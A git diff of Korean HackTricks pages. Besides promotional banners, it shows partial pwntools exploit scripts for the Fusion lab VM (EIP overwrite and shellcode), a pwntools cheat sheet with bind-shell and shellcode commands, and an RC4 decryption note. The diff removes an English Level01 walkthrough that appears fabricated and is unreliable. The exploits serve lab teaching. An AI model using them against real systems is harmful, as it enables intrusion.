**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
만약 RC4를 사용하여 평문을 암호화할 수 있다면, 암호화 함수를 사용하여 동일한 비밀번호로 암호화된 모든 내용을 복호화할 수 있습니다.
|
||||
만약 RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 해당 RC4로 암호화된 모든 내용을 복호화할 수 있습니다.
|
||||
|
||||
알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. HTB Kryptos 머신에서 더 많은 참고 자료를 찾을 수 있습니다:
|
||||
알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참고 자료는 HTB Kryptos 머신에서 찾을 수 있습니다:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
@ -25,16 +26,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,35 @@
|
|||
# 이메일 취약점
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
##
|
||||
|
||||
##
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Level00
|
||||
|
||||
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
||||
|
||||
1. EIP를 수정하기 위한 오프셋 가져오기
|
||||
2. EIP에 쉘코드 주소 넣기
|
||||
1. EIP 수정을 위한 오프셋 가져오기
|
||||
2. EIP에 셸코드 주소 넣기
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -45,70 +46,6 @@ r.send(buf)
|
|||
r.interactive()
|
||||
```
|
||||
# Level01
|
||||
|
||||
## Description
|
||||
|
||||
In this level, we will exploit a vulnerability in the `fusion` binary to gain a shell with the privileges of the `level01` user.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Let's start by running the `fusion` binary and see what it does:
|
||||
|
||||
```bash
|
||||
./fusion
|
||||
```
|
||||
|
||||
2. We can see that the binary prompts us for a password. Let's try some common passwords, such as `password`, `admin`, `123456`, etc.:
|
||||
|
||||
```bash
|
||||
./fusion
|
||||
password
|
||||
```
|
||||
|
||||
3. None of the common passwords seem to work. Let's analyze the binary using a disassembler, such as `gdb`:
|
||||
|
||||
```bash
|
||||
gdb ./fusion
|
||||
```
|
||||
|
||||
4. Once inside `gdb`, let's disassemble the `main` function:
|
||||
|
||||
```bash
|
||||
disassemble main
|
||||
```
|
||||
|
||||
5. We can see that the binary calls the `check_password` function to validate the password. Let's disassemble this function:
|
||||
|
||||
```bash
|
||||
disassemble check_password
|
||||
```
|
||||
|
||||
6. Inside the `check_password` function, we can see that it compares the input password with a hardcoded value. The hardcoded value is stored at the address `0x080485f6`. Let's set a breakpoint at this address and run the binary again:
|
||||
|
||||
```bash
|
||||
break *0x080485f6
|
||||
run
|
||||
```
|
||||
|
||||
7. Once the breakpoint is hit, let's print the value at the address `0x080485f6`:
|
||||
|
||||
```bash
|
||||
print *(char*)0x080485f6
|
||||
```
|
||||
|
||||
8. We can see that the hardcoded password is `letmein`. Let's exit `gdb` and run the binary again, this time providing the correct password:
|
||||
|
||||
```bash
|
||||
quit
|
||||
./fusion
|
||||
letmein
|
||||
```
|
||||
|
||||
9. We have successfully exploited the vulnerability and gained a shell with the privileges of the `level01` user. We can now proceed to the next level.
|
||||
|
||||
## Conclusion
|
||||
|
||||
In this level, we exploited a vulnerability in the `fusion` binary by finding the hardcoded password and providing it as input. This allowed us to gain a shell with the privileges of the `level01` user.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -134,16 +71,17 @@ buf += "\x65\xd9\x0f\x01"
|
|||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
# Pwn asm
|
||||
|
||||
라인 또는 파일에서 오프코드(opcodes)를 가져옵니다.
|
||||
라인 또는 파일에서 오프코드 가져오기.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**선택할 수 있는 옵션:**
|
||||
**선택 가능한 옵션:**
|
||||
|
||||
* 출력 유형 (raw, hex, string, elf)
|
||||
* 출력 파일 컨텍스트 (16, 32, 64, linux, windows...)
|
||||
* 제외할 바이트 (개행, 널, 리스트)
|
||||
* gdb를 사용하여 디버그 쉘코드 인코더 실행 결과 선택
|
||||
* 바이트 제외 (새 줄, 널, 목록)
|
||||
* gdb를 사용하여 디버그 쉘코드 인코더 선택 후 실행한 출력
|
||||
|
||||
# **Pwn checksec**
|
||||
|
||||
|
@ -38,19 +39,19 @@ pwn checksec <executable>
|
|||
|
||||
# Pwn cyclic
|
||||
|
||||
패턴 얻기
|
||||
패턴을 얻으세요
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**선택할 수 있는 옵션:**
|
||||
**선택 가능한 옵션:**
|
||||
|
||||
* 사용할 알파벳 (기본적으로 소문자 문자)
|
||||
* 사용된 알파벳 (기본값은 소문자)
|
||||
* 고유한 패턴의 길이 (기본값은 4)
|
||||
* 컨텍스트 (16, 32, 64, 리눅스, 윈도우 등)
|
||||
* 오프셋 가져오기 (-l)
|
||||
* 컨텍스트 (16,32,64,linux,windows...)
|
||||
* 오프셋 지정 (-l)
|
||||
|
||||
# Pwn 디버그
|
||||
# Pwn 디버깅
|
||||
|
||||
프로세스에 GDB를 연결합니다.
|
||||
```
|
||||
|
@ -58,9 +59,9 @@ pwn debug --exec /bin/bash
|
|||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**선택할 수 있는 옵션:**
|
||||
**선택할 수 있습니다:**
|
||||
|
||||
* 실행 파일, 이름 또는 pid 컨텍스트(16,32,64,linux,windows...)로 선택 가능
|
||||
* 실행 파일, 이름 또는 pid 컨텍스트별로 (16,32,64,linux,windows...)
|
||||
* 실행할 gdbscript
|
||||
* sysrootpath
|
||||
|
||||
|
@ -72,19 +73,19 @@ pwn disablenx <filepath>
|
|||
```
|
||||
# Pwn disasm
|
||||
|
||||
16진수 옵코드를 디스어셈블합니다.
|
||||
16진수 옵코드를 분해합니다
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**선택할 수 있는 옵션:**
|
||||
**선택할 수 있습니다:**
|
||||
|
||||
* 컨텍스트 (16,32,64,리눅스,윈도우...)
|
||||
* 컨텍스트 (16,32,64,linux,windows...)
|
||||
* 베이스 주소
|
||||
* 색상(기본값)/색상 없음
|
||||
* 색상(기본)/색상 없음
|
||||
|
||||
# Pwn elfdiff
|
||||
|
||||
2개 파일 간의 차이점 출력
|
||||
2개 파일 간의 차이점을 출력합니다
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
|
@ -96,15 +97,15 @@ pwn hex hola #Get hex of "hola" ascii
|
|||
```
|
||||
# Pwn phd
|
||||
|
||||
16진수 덤프(hexdump) 가져오기
|
||||
16진수 덤프 가져오기
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**선택할 수 있는 옵션:**
|
||||
**선택 가능:**
|
||||
|
||||
* 표시할 바이트 수
|
||||
* 강조할 바이트 수
|
||||
* 시작 부분에서 건너뛸 바이트 수
|
||||
* 강조할 바이트 당 라인 수
|
||||
* 시작 부분에서 건너뛸 바이트
|
||||
|
||||
# Pwn pwnstrip
|
||||
|
||||
|
@ -112,7 +113,7 @@ pwn phd <file>
|
|||
|
||||
# Pwn shellcraft
|
||||
|
||||
쉘 코드 가져오기
|
||||
쉘코드 가져오기
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
|
@ -120,32 +121,32 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
|||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**선택할 수 있는 옵션:**
|
||||
**선택할 수 있습니다:**
|
||||
|
||||
* 쉘코드와 쉘코드에 대한 인수
|
||||
* 셸코드 및 셸코드에 대한 인수
|
||||
* 출력 파일
|
||||
* 출력 형식
|
||||
* 디버그 (쉘코드에 dbg를 연결)
|
||||
* 디버그 (셸코드에 dbg를 연결)
|
||||
* 이전 (코드 이전에 디버그 트랩)
|
||||
* 이후
|
||||
* 오피코드 사용 피하기 (기본값: null과 개행 문자 사용 안 함)
|
||||
* 쉘코드 실행
|
||||
* 옵코드 사용을 피합니다 (기본값: 널 및 새 줄)
|
||||
* 셸코드 실행
|
||||
* 색상/색상 없음
|
||||
* 시스콜 목록
|
||||
* 가능한 쉘코드 목록
|
||||
* ELF를 공유 라이브러리로 생성
|
||||
* 시스템 호출 목록
|
||||
* 가능한 셸코드 목록
|
||||
* 공유 라이브러리로 ELF 생성
|
||||
|
||||
# Pwn 템플릿
|
||||
|
||||
파이썬 템플릿 얻기
|
||||
파이썬 템플릿 가져오기
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
**선택할 수 있는 옵션:** 호스트, 포트, 사용자, 비밀번호, 경로 및 조용함
|
||||
**선택 가능한 옵션:** 호스트, 포트, 사용자, 비밀번호, 경로 및 조용 모드
|
||||
|
||||
# Pwn unhex
|
||||
|
||||
16진수에서 문자열로 변환
|
||||
16진수에서 문자열로
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
|
@ -155,16 +156,17 @@ pwntools를 업데이트하려면
|
|||
```
|
||||
pwn update
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,31 @@
|
|||
# Windows Exploiting (Basic Guide - OSCP lvl)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
